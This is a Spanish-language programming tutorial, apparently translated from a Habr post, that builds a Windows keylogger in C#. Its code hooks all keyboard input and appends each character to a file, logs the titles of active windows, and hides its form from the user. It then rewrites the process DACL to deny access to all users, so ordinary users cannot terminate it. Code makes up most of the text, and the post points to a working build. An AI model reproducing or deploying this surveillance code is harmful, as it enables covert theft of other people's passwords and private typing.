Keylogger para Windows con cambio de derechos en DACL

Aquí consideraremos la creación de Keylogger basado en .Net C # con llamadas a funciones del sistema. Las funciones del sistema se describen brevemente, pero es mejor leer la documentación oficial de Microsoft. El enlace al repositorio con el ensamblaje de trabajo se proporciona al final, así como el enlace a la documentación.

Lo que se implementará:

  • Entrada de teclado de registro.
  • Registro de la ventana activa.
  • Bloquear un proceso de un usuario sin privilegios de administrador.
  • Detener el proceso mediante el método abreviado de teclado.

Para escribir, necesitará C #, conocimiento de Win API y Windows DACL.

Por lo tanto, analizaremos varios tipos de códigos de sistema que serán necesarios, cada tipo se almacenará en una enumeración separada.

Tipos de ganchos.

public enum HookTypes { WH_CALLWNDPROC = 4, WH_CALLWNDPROCRET = 12, WH_KEYBOARD = 2, WH_KEYBOARD_LL = 13, WH_MOUSE = 7, WH_MOUSE_LL = 14, WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_FOREGROUNDIDLE = 11, WH_SYSMSGFILTER = 6, WH_GETMESSAGE = 3, WH_CBT = 5, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, } 

Para capturar todos los eventos relacionados con el teclado, necesita el tipo WH_KEYBOARD_LL . Todos los demás tipos de enlaces requieren la implementación de archivos DLL separados, a excepción de otro enlace WH_MOUSE_LL : eventos relacionados con el mouse.

Tipos de eventos asociados con el teclado, presionando y soltando una tecla.

 public enum KeyboardEventTypes { WM_KEYDOWN = 0x0100, WM_KEYUP = 0x0101, } 

Grabaremos los caracteres de entrada al soltar la tecla WM_KEYUP .

Por separado, tipos para detectar la transición de un usuario de una ventana de aplicación a otra.

 public class WinEventTypes { public const uint WINEVENT_OUTOFCONTEXT = 0; public const uint EVENT_SYSTEM_FOREGROUND = 3; } 

Enum para usar el atajo de teclado para deshabilitar el programa.

 public enum CombineKeys { MOD_ALT = 0x1, MOD_CONTROL = 0x2, MOD_SHIFT = 0x4, MOD_WIN = 0x8, WM_HOTKEY = 0x0312, } 

Para implementar todos los puntos, primero cree el Formulario y ocúltelo del usuario. Es suficiente anular el método básico SetVisibleCore.

 protected override void SetVisibleCore(bool value) { base.SetVisibleCore(false); } 

El formulario se iniciará cuando se inicie el programa.

 Application.Run(HiddenForm); 

Hay un formulario y ahora necesita agregar la función principal: interceptar la entrada del teclado. Usamos el método Win API SetWindowsHookEx , se pasarán los siguientes parámetros:

  • El tipo de gancho es WH_KEYBOARD_LL.
  • Función de devolución de llamada, es decir El método que debe manejar todos los eventos relacionados con el teclado.
  • ID del módulo actual .
  • El identificador de hilo es 0. Cero para que el gancho esté asociado con todos los hilos.

 internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); } } 

El método en sí mismo que procesa el gancho. Tiene varios parámetros, nCode , para comprender si es necesario procesar el evento actual o transmitirlo de inmediato,
wParam - tipo de evento (presionando o soltando una tecla), lParam - carácter que se presiona actualmente. En esencia, lParam es una matriz de bytes, por lo que se almacena información adicional, por ejemplo, el número de caracteres si el usuario tiene la clave y la máquina en la que se realiza el procesamiento es lenta.

 internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); } return CallNextHookEx(HookId, nCode, wParam, lParam); } 

Esta implementación escribe un carácter solo después de que el usuario suelta la clave. Para registrar el número de caracteres, debe implementar un caso de tipo WM_KEYDOWN .

El método SetKeysState se usa para saber qué estado son las claves adicionales, por ejemplo, las claves que afectan el caso.

 private static void SetKeysState() { _capsLock = GetKeyState((int)Keys.CapsLock) != 0; _numLock = GetKeyState((int)Keys.NumLock) != 0; _scrollLock = GetKeyState((int)Keys.Scroll) != 0; _shift = GetKeyState((int)Keys.ShiftKey) != 0; } 

GetKeyState es otro método de Win API a través del cual puede averiguar el estado mediante el código clave.

 private static string GetSymbol(uint vkCode) { var buff = new StringBuilder(maxChars); var keyboardState = new byte[maxChars]; var keyboard = GetKeyboardLayout( GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); var buffSymbol = buff.ToString(); var symbol = buffSymbol.Equals("\r") ? Environment.NewLine : buffSymbol; if (_capsLock ^ _shift) symbol = symbol.ToUpperInvariant(); return symbol; } 

En el método GetSymbol , primero se solicita el código de diseño del teclado GetKeyboardLayout para la ventana actual, y luego ToUnicodeEx para obtener el carácter, ambos métodos Win API. Si las teclas que afectan al caso están involucradas, entonces el carácter debe convertirse a mayúsculas.

Esto será suficiente para registrar la entrada desde el teclado. Pero para grabar la ventana activa actual, necesita usar otro gancho.

 internal IntPtr SetWinHook(WinEventProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); } } 

El tipo EVENT_SYSTEM_FOREGROUND es necesario para rastrear los cambios en la ventana activa. Y WINEVENT_OUTOFCONTEXT indica que el método callBack está en nuestra aplicación.

El método pasado a la cadena de enlace contiene muchos parámetros que pueden ser útiles en una implementación más detallada, para este caso es suficiente averiguar la ventana activa y su título.

 internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); } 

Es decir, se registrará cada evento de cambio de ventana. Y en GetActiveWindowTitle es suficiente usar un par de métodos Win API GetForegroundWindow : encuentre el identificador de la ventana activa actual, después de solicitar el título usando GetWindowText .

 private static string GetActiveWindowTitle() { var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) > 0) { return buff.ToString(); } return null; } 

Hasta este punto, todas las llamadas a funciones del sistema se tomaron de las bibliotecas User32 y Kernel32 . El siguiente paso es usar la biblioteca advapi32 .

El tercer paso es evitar que el usuario promedio complete el proceso de grabación de entrada de teclado. Primero necesita obtener un identificador para este proceso y luego cambiarlo agregando una entrada a la DACL .

 internal void BlockForNotAdminUsers() { var hProcess = Process.GetCurrentProcess().Handle; var securityDescriptor = GetProcessSecurityDescriptor(hProcess); var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid; securityDescriptor.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, sid), false, null)); SetProcessSecurityDescriptor(hProcess, securityDescriptor); } 

El descriptor de proceso se recibe a través de GetKernelObjectSecurity , el método se llama dos veces, primero obtenemos la longitud del descriptor y la segunda llamada obtenemos el descriptor de proceso directamente.

 private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); } 

Después de cambiar el descriptor, debe ingresar esta información en el proceso actual. Es suficiente pasar el identificador y el descriptor del proceso al método del sistema SetKernelObjectSecurity .

 private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) { var rawsd = new byte[securityDescriptor.BinaryLength]; securityDescriptor.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); } 

El último paso es detener el proceso usando una combinación de teclas.

 internal static int SetHotKey(Keys key, IntPtr handle) { int modifiers = 0; if ((key & Keys.Alt) == Keys.Alt) modifiers |= (int)CombineKeys.MOD_ALT; if ((key & Keys.Control) == Keys.Control) modifiers |= (int)CombineKeys.MOD_CONTROL; if ((key & Keys.Shift) == Keys.Shift) modifiers |= (int)CombineKeys.MOD_SHIFT; Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; var keyId = key.GetHashCode(); RegisterHotKey(handle, keyId, modifiers, (int)keys); return keyId; } 

Aquí la tecla es un atajo de teclado y el identificador de una forma oculta. Para reconocer la combinación de teclas en el formulario, se crea keyId , mediante el cual es posible verificar el funcionamiento de la combinación de teclas. Y todo esto está escrito a través del método Win API RegisterHotKey .

Y para finalmente detener el proceso, redefinimos el método WndProc en el formulario.

 protected override void WndProc(ref Message m) { if (m.Msg == (int)CombineKeys.WM_HOTKEY) { if ((int)m.WParam == KeyId) { UnregisterHotKey(Handle, KeyId); Application.Exit(); } } base.WndProc(ref m); } 

Enlaces utiles:

Enlace de repositorio
Enlace a la documentación de MS.

Source: https://habr.com/ru/post/482644/


All Articles